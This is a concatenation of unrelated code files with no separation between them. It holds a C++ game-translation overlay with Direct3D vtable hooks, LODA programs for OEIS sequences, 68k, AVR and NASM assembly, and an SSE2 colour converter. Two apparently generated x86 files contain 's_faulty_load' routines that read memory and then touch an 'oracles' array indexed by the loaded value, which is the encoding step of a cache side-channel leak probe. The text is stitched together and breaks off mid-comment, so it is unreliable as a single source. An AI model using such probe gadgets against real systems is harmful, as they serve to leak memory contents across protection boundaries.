{q.left, q.bottom, 0.0f}, 1.0f, col_diffuse }, { {q.left, q.top, 0.0f}, 1.0f, col_diffuse }, }; d3dd_DrawPrimitiveUP(ver, d3dd, D3DPT_LINESTRIP, elementsof(verts) - 1, verts, sizeof(verts[0]) ); }; // ------------ auto &env = tlnote_env(); auto tlr = &rendered[id_active]; auto region_unscaled = env.region(); float margin_x = (region_unscaled.w - tlr->tex_w); float margin_y = (region_unscaled.h - tlr->tex_h); region_unscaled.x += margin_x / 2.0f; region_unscaled.w -= margin_x; d3dd_SetTexture(ver, d3dd, 0, tlr->render(ver, d3dd)); auto age = now - time_birth; float texcoord_y = 0.0f; float texcoord_h = 1.0f; if(tlr->tex_h > region_unscaled.h) { auto ms_per_byte = (1000.0f / env.read_speed); auto readtime_ms = (unsigned long)(ms_per_byte * tlr->note.length()); auto time_per_y = (float)(readtime_ms / tlr->tex_h); auto y_cur = (age % readtime_ms) / time_per_y; auto region_h_half = (region_unscaled.h / 2); auto y_cur_center = y_cur - region_h_half; auto scroll = y_cur_center / (tlr->tex_h - region_unscaled.h); scroll = MIN(scroll, 1.0f); scroll = MAX(scroll, 0.0f); texcoord_h = (float)region_unscaled.h / tlr->tex_h; texcoord_y = scroll * (1.0f - texcoord_h); } else { switch(env.valign) { case valign_t::top: break; case valign_t::center: region_unscaled.y += (region_unscaled.h / 2.0f) - (tlr->tex_h / 2.0f); break; case valign_t::bottom: region_unscaled.y += region_unscaled.h - tlr->tex_h; break; } region_unscaled.h = (float)tlr->tex_h; } float alpha = MIN((age / env.fade_ms), 1.0f); vector2_t res = { (float)viewport.Width, (float)viewport.Height }; #ifdef _DEBUG auto bounds_shadow_col = D3DCOLOR_ARGB(0xFF, 0, 0, 0); auto bounds = env.scale_to(res, env.region()); bounds.w--; bounds.h--; render_colored_quad(bounds.scaled_by(+1), bounds_shadow_col); render_colored_quad(bounds.scaled_by(-1), bounds_shadow_col); render_colored_quad(bounds, D3DCOLOR_ARGB(0xFF, 0xFF, 0, 0)); #endif auto tlr_quad = env.scale_to(res, region_unscaled); auto tlr_col = D3DCOLOR_ARGB((uint8_t)(alpha * 255.0f), 0xFF, 0xFF, 0xFF); render_textured_quad(tlr_quad, tlr_col, texcoord_y, texcoord_h); d3dd_ApplyStateBlock(ver, d3dd, sb_game); d3dd_DeleteStateBlock(ver, d3dd, sb_game); return true; } HRESULT __stdcall tlnote_d3dd8_EndScene(IDirect3DDevice *that) { tlnote_frame(D3D8, that); return chain_d3dd8_EndScene(that); } HRESULT __stdcall tlnote_d3dd9_EndScene(IDirect3DDevice *that) { tlnote_frame(D3D9, that); return chain_d3dd9_EndScene(that); } /// ----------------------------------- THCRAP_API void tlnote_show(const tlnote_t tlnote) { if(!tlnote.str) { return; } int32_t index; if(tlnote.str->type == TLNOTE_INLINE) { index = tlnote_render(tlnote.str->note); } else if(tlnote.str->type == TLNOTE_INDEX) { unsigned char byte_len; index = index_from_utf8(byte_len, tlnote.str->note); index -= RENDERED_OFFSET; assert(index < (int32_t)rendered.size()); assert(byte_len >= 1 && byte_len <= 4); } else { tlnote_log.errorf("Illegal TL note type? (U+%04X)", tlnote.str->type); return; } id_active = index; } THCRAP_API void tlnote_remove() { id_active = RENDERED_NONE; } THCRAP_API tlnote_split_t tlnote_find(stringref_t text, bool inline_only) { const char *p = text.str; const char *sepchar_ptr = nullptr; for(decltype(text.len) i = 0; i < text.len; i++) { if(*p == TLNOTE_INLINE) { if(sepchar_ptr) { tlnote_log.errorf( "Duplicate TL note separator character (U+%04X) in\n\n%s", *p, text ); break; } else { sepchar_ptr = p; } } else if(*p == TLNOTE_INDEX) { auto fail = [text] () -> tlnote_split_t { tlnote_log.errorf( "U+%04X is reserved for internal TL note handling:\n\n%s", TLNOTE_INDEX, text ); return { text }; }; #define FAIL_IF(cond) \ if(cond) { \ return fail(); \ } FAIL_IF(inline_only); FAIL_IF(sepchar_ptr); FAIL_IF(i + 1 >= text.len); unsigned char byte_len; auto index = index_from_utf8(byte_len, p + 1); FAIL_IF(index < 0); auto tlp_len = byte_len + 1; auto at_end = text.len - (i + tlp_len); FAIL_IF(at_end < 0); FAIL_IF(index - RENDERED_OFFSET >= (int)rendered.size()); tlnote_t tlp = { { p, tlp_len } }; if(i == 0) { return { { p + tlp_len, text.len - tlp_len }, tlp }; } else if(at_end == 0) { return { { text.str, p - text.str }, tlp }; } else { FAIL_IF(1); } #undef FAIL_IF } p++; } if(sepchar_ptr) { tlnote_t tlnote = { { sepchar_ptr, p - sepchar_ptr } }; return { { text.str, sepchar_ptr - text.str }, tlnote }; } return { text }; } THCRAP_API tlnote_encoded_index_t tlnote_prerender(const tlnote_t tlnote) { if(tlnote.str == nullptr || tlnote.str->type != TLNOTE_INLINE) { return {}; } stringref_t note = { tlnote.str->note, tlnote.len }; return { tlnote_render(note) + RENDERED_OFFSET }; } THCRAP_API tlnote_encoded_index_t tlnote_removal_index() { return { RENDERED_NONE + RENDERED_OFFSET }; } /// Module functions /// ---------------- extern "C" __declspec(dllexport) void tlnote_mod_detour(void) { vtable_detour_t d3d8[] = { { 35, (void*)tlnote_d3dd8_EndScene, (void**)&chain_d3dd8_EndScene }, }; vtable_detour_t d3d9[] = { { 42, (void*)tlnote_d3dd9_EndScene, (void**)&chain_d3dd9_EndScene }, }; d3d8_device_detour(d3d8, elementsof(d3d8)); d3d9_device_detour(d3d9, elementsof(d3d9)); } /// ----------------
; A269174: Formula for Wolfram's Rule 124 cellular automaton: a(n) = (n OR 2n) AND ((n XOR 2n) OR (n XOR 4n)). ; Coded manually 2021-03-30 by Simon Strandgaard, https://github.com/neoneye ; 0,3,6,7,12,15,14,11,24,27,30,31,28,31,22,19,48,51,54,55,60,63,62,59,56,59,62,63,44,47,38,35,96,99,102,103,108,111,110,107,120,123,126,127,124,127,118,115,112,115,118,119,124,127,126,123,88,91,94,95,76,79,70,67,192,195,198,199,204,207,206,203,216 ; a(n) = A163617(n) AND A269173(n). mov $5,$0 seq $5,163617 ; a(2*n) = 2*a(n), a(2*n + 1) = 2*a(n) + 2 + (-1)^n, for all n in Z. seq $0,269173 ; Formula for Wolfram's Rule 126 cellular automaton: a(n) = (n XOR 2n) OR (n XOR 4n). ; Determine the number of times to loop mov $2,$5 max $2,$0 seq $2,70939 ; Length of binary representation of Fibonacci(n+1). mov $4,1 ; Inital scale factor lpb $2 ; Take the lowest bit of A269173 mov $3,$0 mod $3,2 ; Take the lowest bit of A163617 mov $6,$5 mod $6,2 ; Do bitwise OR mul $3,$6 ; Now $3 holds the bitwise OR with $0 and $5 ; Scale up the bit, and add to result mul $3,$4 add $1,$3 div $0,2 ; Remove the lowest bit from A269173 div $5,2 ; Remove the lowest bit from A163617 mul $4,2 ; Double the scale factor. Example: 1,2,4,8,16,32 sub $2,1 lpe mov $0,$1
; A141953: Primes congruent to 8 mod 27. ; 89,197,251,359,467,521,683,953,1061,1223,1277,1439,1493,1601,1709,1871,1979,2087,2141,2357,2411,2789,2843,2897,3167,3221,3329,3491,3761,3923,4139,4409,4463,4517,4679,4733,4787,5003,5273,5381,5651,5813,5867,6029,6299,6353,6569,6947,7001,7109,7433,7487,7541,7649,7703,7757,7919,8081,8243,8297,8513,8783,8837,8999,9161,9323,9377,9431,9539,10079,10133,10457,10781,10889,11159,11213,11321,11483,11699,11807,11969,12239,12347,12401,12671,12941,13049,13103,13697,13751,13859,13913,13967,14561,14669,14723,14831,14939,15101,15263 mov $2,$0 add $2,2 pow $2,2 lpb $2 add $1,7 sub $2,1 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,20 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 lpe div $1,2 sub $1,22 mul $1,2 add $1,25 mov $0,$1
; Returns channel ID of SuperBASIC channel # or default #1 section utility xdef bi_gtchn xdef bi_gtch0 include dev8_keys_qlv include dev8_keys_err ;+++ ; Returns channel ID of SuperBASIC channel # or default given # ; ; Entry Exit ; d0 default # ; a0 channel ID ; a1 arithmetic stack pointer updated ; a3 start of parameter pointer updated to next parameter ; a5 end of parameter pointer ;--- bi_gtch0 move.l d0,d7 bra.s bi_gtall ;+++ ; Returns channel ID of SuperBASIC channel # or default #1 ; ; Entry Exit ; a0 channel ID ; a1 arithmetic stack pointer updated ; a3 start of parameter pointer updated to next parameter ; a5 end of parameter pointer ;--- bi_gtchn moveq #1,d7 default channel no. bi_gtall movem.l a3/a5,-(sp) save A3/A5 moveq #0,d0 moveq #0,d6 if default, no stack correction cmp.l a3,a5 no parameter? beq.s get_defc yes, so use default move.l a3,a5 let us check whether the ... addq.l #8,a5 ... first parameter is preceeded ... btst #7,1(a6,a3.l) ... by a hash beq.s get_defc no, also use default move.w sb.gtint,a2 yes, get integer value jsr (a2) tst.l d0 error, no integer? bne.s get_erbp yes, return error moveq #0,d7 moveq #8,d6 we can correct the A3 pointer move.w 0(a6,a1.l),d7 get channel number get_defc mulu #$28,d7 calculate channel ID now move.l $30(a6),a2 add.l d7,a2 cmp.l $34(a6),a2 bhi.s get_erno beq.s get_erno tst.b (a6,a2.l) -ve? bmi.s get_erno move.l 0(a6,a2.l),a0 movem.l (sp)+,a3/a5 add.l d6,a3 rts * get_erno moveq #err.ichn,d0 bra.s get_errt get_erbp moveq #err.ipar,d0 get_errt addq.l #8,sp rts * end
;INPUT: r16 address to write to, r17 data to write eeprom_write: sbic EECR, EEPE rjmp eeprom_write out EEARL, r16 out EEDR, r17 sbi EECR, EEMPE ;enable eeprom sbi EECR, EEPE ;enable write ret ;INPUT: r16 address to read from ;OUTPUT:r17 data byte eeprom_read: sbic EECR, EEPE rjmp eeprom_read out EEARL, r16 sbi EECR, EERE in r17, EEDR ret
global foo:(foo_end - foo) global foo_hidden:function hidden global foo_protected:function protected global foo_internal:function internal global foo_weak:function weak global foo_hidden_weak:function hidden weak extern strong_ref, weak_ref:weak, unused_ref extern weak_object_ref:weak object required required_ref SECTION .text align=16 foo: nop foo_hidden: nop foo_protected: nop foo_internal: nop foo_weak: ret foo_hidden_weak: mov eax,weak_ref mov eax,strong_ref mov eax,weak_object_ref foo_label: ret foo_end:
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r15 push %r9 push %rax push %rbp push %rcx push %rdi push %rsi lea addresses_A_ht+0x7d5e, %rbp nop nop nop xor %r13, %r13 mov $0x6162636465666768, %rcx movq %rcx, %xmm0 vmovups %ymm0, (%rbp) nop nop nop nop xor $29685, %r9 lea addresses_WC_ht+0x1d024, %rsi lea addresses_normal_ht+0x1d85e, %rdi nop nop nop sub %r9, %r9 mov $107, %rcx rep movsw nop nop nop nop nop cmp $10918, %r9 lea addresses_UC_ht+0x16e24, %r9 nop nop cmp $6917, %rax mov $0x6162636465666768, %r13 movq %r13, %xmm1 movups %xmm1, (%r9) cmp $6841, %rdi lea addresses_WT_ht+0xb8ee, %rax nop nop nop nop nop sub $40860, %rcx vmovups (%rax), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %rbp nop nop cmp $23609, %rbp lea addresses_normal_ht+0x8e1a, %rsi lea addresses_normal_ht+0x191da, %rdi nop nop nop nop nop dec %r15 mov $121, %rcx rep movsq nop add %r15, %r15 lea addresses_WC_ht+0x6d1e, %rsi lea addresses_UC_ht+0x41e, %rdi clflush (%rdi) nop nop dec %rbp mov $54, %rcx rep movsl nop nop xor %rcx, %rcx lea addresses_WC_ht+0x5ace, %rsi lea addresses_WT_ht+0x1aec8, %rdi nop sub %r13, %r13 mov $8, %rcx rep movsq inc %rbp lea addresses_WT_ht+0x101b2, %rsi lea addresses_A_ht+0xf51e, %rdi nop nop nop cmp $8447, %r15 mov $47, %rcx rep movsl nop sub $5839, %r9 lea addresses_normal_ht+0x1ca1e, %rdi nop nop nop nop and $11674, %r15 movl $0x61626364, (%rdi) nop sub %rax, %rax lea addresses_WC_ht+0x1091e, %rax nop nop nop nop add %r9, %r9 mov (%rax), %rsi nop nop nop nop nop add $18380, %r13 lea addresses_normal_ht+0x351e, %r13 nop nop xor $30836, %rsi movups (%r13), %xmm1 vpextrq $0, %xmm1, %r9 nop nop nop nop sub %r9, %r9 lea addresses_D_ht+0xc1e, %rsi lea addresses_UC_ht+0x1b29e, %rdi nop nop nop nop sub $32185, %r9 mov $42, %rcx rep movsl nop and %rdi, %rdi lea addresses_D_ht+0xaf1e, %r9 nop nop nop nop nop and %rsi, %rsi movb $0x61, (%r9) and $23097, %r13 lea addresses_UC_ht+0xa91e, %rsi lea addresses_D_ht+0x1a1bd, %rdi nop nop nop inc %rax mov $4, %rcx rep movsb nop inc %rax lea addresses_D_ht+0x5426, %rdi nop cmp $15656, %r13 mov $0x6162636465666768, %rcx movq %rcx, %xmm7 movups %xmm7, (%rdi) nop nop cmp $18696, %r15 pop %rsi pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r15 pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r14 push %r15 push %rbp push %rcx push %rdi // Store lea addresses_PSE+0xe51e, %rcx nop nop nop nop nop cmp $17718, %rdi mov $0x5152535455565758, %r13 movq %r13, %xmm2 vmovups %ymm2, (%rcx) nop nop add %r13, %r13 // Load mov $0x11e, %rbp nop dec %rdi movb (%rbp), %cl nop nop nop nop add $26711, %rbp // Store lea addresses_D+0x9006, %r15 nop nop nop nop cmp $38848, %r14 mov $0x5152535455565758, %rbp movq %rbp, %xmm0 vmovups %ymm0, (%r15) nop nop nop nop nop and %rcx, %rcx // Faulty Load lea addresses_PSE+0xe51e, %r11 sub %r13, %r13 mov (%r11), %r14w lea oracles, %r11 and $0xff, %r14 shlq $12, %r14 mov (%r11,%r14,1), %r14 pop %rdi pop %rcx pop %rbp pop %r15 pop %r14 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 4, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 11, 'size': 16, 'same': True, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': True, 'NT': False}} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
; ;Copyright 2014 Jay Sorg ; ;Permission to use, copy, modify, distribute, and sell this software and its ;documentation for any purpose is hereby granted without fee, provided that ;the above copyright notice appear in all copies and that both that ;copyright notice and this permission notice appear in supporting ;documentation. ; ;The above copyright notice and this permission notice shall be included in ;all copies or substantial portions of the Software. ; ;THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ;IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ;FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ;OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN ;AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN ;CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ; ;I420 to RGB32 ;x86 SSE2 32 bit ; ; RGB to YUV ; 0.299 0.587 0.114 ; -0.14713 -0.28886 0.436 ; 0.615 -0.51499 -0.10001 ; YUV to RGB ; 1 0 1.13983 ; 1 -0.39465 -0.58060 ; 1 2.03211 0 ; shift left 12 ; 4096 0 4669 ; 4096 -1616 -2378 ; 4096 9324 0 SECTION .data align 16 c128 times 8 dw 128 c4669 times 8 dw 4669 c1616 times 8 dw 1616 c2378 times 8 dw 2378 c9324 times 8 dw 9324 SECTION .text %macro PROC 1 align 16 global %1 %1: %endmacro do8_uv: ; v movd xmm1, [ebx] ; 4 at a time lea ebx, [ebx + 4] punpcklbw xmm1, xmm1 pxor xmm6, xmm6 punpcklbw xmm1, xmm6 movdqa xmm7, [c128] psubw xmm1, xmm7 psllw xmm1, 4 ; u movd xmm2, [edx] ; 4 at a time lea edx, [edx + 4] punpcklbw xmm2, xmm2 punpcklbw xmm2, xmm6 psubw xmm2, xmm7 psllw xmm2, 4 do8: ; y movq xmm0, [esi] ; 8 at a time lea esi, [esi + 8] pxor xmm6, xmm6 punpcklbw xmm0, xmm6 ; r = y + hiword(4669 * (v << 4)) movdqa xmm4, [c4669] pmulhw xmm4, xmm1 movdqa xmm3, xmm0 paddw xmm3, xmm4 ; g = y - hiword(1616 * (u << 4)) - hiword(2378 * (v << 4)) movdqa xmm5, [c1616] pmulhw xmm5, xmm2 movdqa xmm6, [c2378] pmulhw xmm6, xmm1 movdqa xmm4, xmm0 psubw xmm4, xmm5 psubw xmm4, xmm6 ; b = y + hiword(9324 * (u << 4)) movdqa xmm6, [c9324] pmulhw xmm6, xmm2 movdqa xmm5, xmm0 paddw xmm5, xmm6 packuswb xmm3, xmm3 ; b packuswb xmm4, xmm4 ; g punpcklbw xmm3, xmm4 ; gb pxor xmm4, xmm4 ; a packuswb xmm5, xmm5 ; r punpcklbw xmm5, xmm4 ; ar movdqa xmm4, xmm3 punpcklwd xmm3, xmm5 ; argb movdqa [edi], xmm3 lea edi, [edi + 16] punpckhwd xmm4, xmm5 ; argb movdqa [edi], xmm4 lea edi, [edi + 16] ret; ;int ;i420_to_rgb32_x86_sse2(unsigned char *yuvs, int width, int height, int *rgbs) PROC i420_to_rgb32_x86_sse2 push ebx push esi push edi push ebp mov edi, [esp + 32] ; rgbs mov ecx, [esp + 24] ; width mov edx, ecx mov ebp, [esp + 28] ; height mov eax, ebp shr ebp, 1 imul eax, ecx ; eax = width * height mov esi, [esp + 20] ; y mov ebx, esi ; u = y + width * height add ebx, eax ; local vars ; char* yptr1 ; char* yptr2 ; char* uptr ; char* vptr ; int* rgbs1 ; int* rgbs2 ; int width sub esp, 28 ; local vars, 28 bytes mov [esp + 0], esi ; save y1 add esi, edx mov [esp + 4], esi ; save y2 mov [esp + 8], ebx ; save u shr eax, 2 add ebx, eax ; v = u + (width * height / 4) mov [esp + 12], ebx ; save v mov [esp + 16], edi ; save rgbs1 mov eax, edx shl eax, 2 add edi, eax mov [esp + 20], edi ; save rgbs2 loop_y: mov ecx, edx ; width shr ecx, 3 ; save edx mov [esp + 24], edx ;prefetchnta 4096[esp + 0] ; y ;prefetchnta 1024[esp + 8] ; u ;prefetchnta 1024[esp + 12] ; v loop_x: mov esi, [esp + 0] ; y1 mov ebx, [esp + 8] ; u mov edx, [esp + 12] ; v mov edi, [esp + 16] ; rgbs1 ; y1 call do8_uv mov [esp + 0], esi ; y1 mov [esp + 16], edi ; rgbs1 mov esi, [esp + 4] ; y2 mov edi, [esp + 20] ; rgbs2 ; y2 call do8 mov [esp + 4], esi ; y2 mov [esp + 8], ebx ; u mov [esp + 12], edx ; v mov [esp + 20], edi ; rgbs2 dec ecx ; width jnz loop_x ; restore edx mov edx, [esp + 24] ; update y1 and 2 mov eax, [esp + 0] mov ebx, edx add eax, ebx mov [esp + 0], eax mov eax, [esp + 4] add eax, ebx mov [esp + 4], eax ; update rgb1 and 2 mov eax, [esp + 16] mov ebx, edx shl ebx, 2 add eax, ebx mov [esp + 16], eax mov eax, [esp + 20] add eax, ebx mov [esp + 20], eax mov ecx, ebp dec ecx ; height mov ebp, ecx jnz loop_y add esp, 28 mov eax, 0 pop ebp pop edi pop esi pop ebx ret align 16
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r14 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x120af, %r12 nop nop nop nop inc %r14 mov $0x6162636465666768, %r10 movq %r10, (%r12) nop nop nop sub $14991, %r11 lea addresses_normal_ht+0xc977, %rdx nop nop nop nop nop dec %rsi mov (%rdx), %ebp nop and %r11, %r11 lea addresses_WC_ht+0x400f, %r12 nop and %r14, %r14 mov $0x6162636465666768, %rsi movq %rsi, %xmm3 and $0xffffffffffffffc0, %r12 movaps %xmm3, (%r12) nop nop and %r12, %r12 lea addresses_UC_ht+0x1f0f, %r12 nop nop nop nop nop sub %r10, %r10 mov $0x6162636465666768, %rbp movq %rbp, %xmm7 movups %xmm7, (%r12) xor $334, %r10 lea addresses_WT_ht+0x12327, %r11 nop nop nop xor $25711, %r10 mov (%r11), %r12 nop nop add %rdx, %rdx lea addresses_WC_ht+0x4547, %r14 nop add $42191, %rsi mov (%r14), %r11w nop nop add $41611, %r14 lea addresses_D_ht+0x90fb, %rdx nop and $16869, %r12 mov $0x6162636465666768, %rsi movq %rsi, %xmm6 and $0xffffffffffffffc0, %rdx movaps %xmm6, (%rdx) nop sub %r12, %r12 lea addresses_WC_ht+0x7b4f, %rsi lea addresses_D_ht+0x12c0f, %rdi clflush (%rsi) nop nop nop nop nop xor $26479, %r10 mov $52, %rcx rep movsl nop nop nop nop cmp $12744, %r11 lea addresses_D_ht+0x730f, %rdi nop nop dec %r12 mov (%rdi), %r14 cmp $9348, %r10 lea addresses_A_ht+0x9c93, %rsi lea addresses_D_ht+0x183ff, %rdi nop dec %r11 mov $113, %rcx rep movsb nop nop nop nop cmp $2650, %r12 lea addresses_UC_ht+0x407, %rsi lea addresses_normal_ht+0x1ab3, %rdi clflush (%rdi) nop nop sub $19772, %rbp mov $72, %rcx rep movsq nop nop nop cmp $51056, %rdx lea addresses_A_ht+0x4a0f, %rsi nop nop nop nop nop cmp $39129, %rbp movl $0x61626364, (%rsi) nop nop nop nop nop dec %rbp pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r14 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r12 push %r14 push %rax push %rcx push %rdi push %rsi // REPMOV lea addresses_A+0xd30f, %rsi lea addresses_A+0x9647, %rdi nop nop nop nop nop and $11366, %rax mov $29, %rcx rep movsb nop nop nop nop nop sub %rsi, %rsi // Faulty Load lea addresses_PSE+0xf20f, %rax nop nop nop xor %rcx, %rcx mov (%rax), %esi lea oracles, %rdi and $0xff, %rsi shlq $12, %rsi mov (%rdi,%rsi,1), %rsi pop %rsi pop %rdi pop %rcx pop %rax pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 16, 'type': 'addresses_PSE', 'congruent': 0}} {'dst': {'same': False, 'congruent': 3, 'type': 'addresses_A'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_A'}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_PSE', 'congruent': 0}} <gen_prepare_buffer> {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_WT_ht', 'congruent': 5}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_normal_ht', 'congruent': 3}} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 7}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_UC_ht', 'congruent': 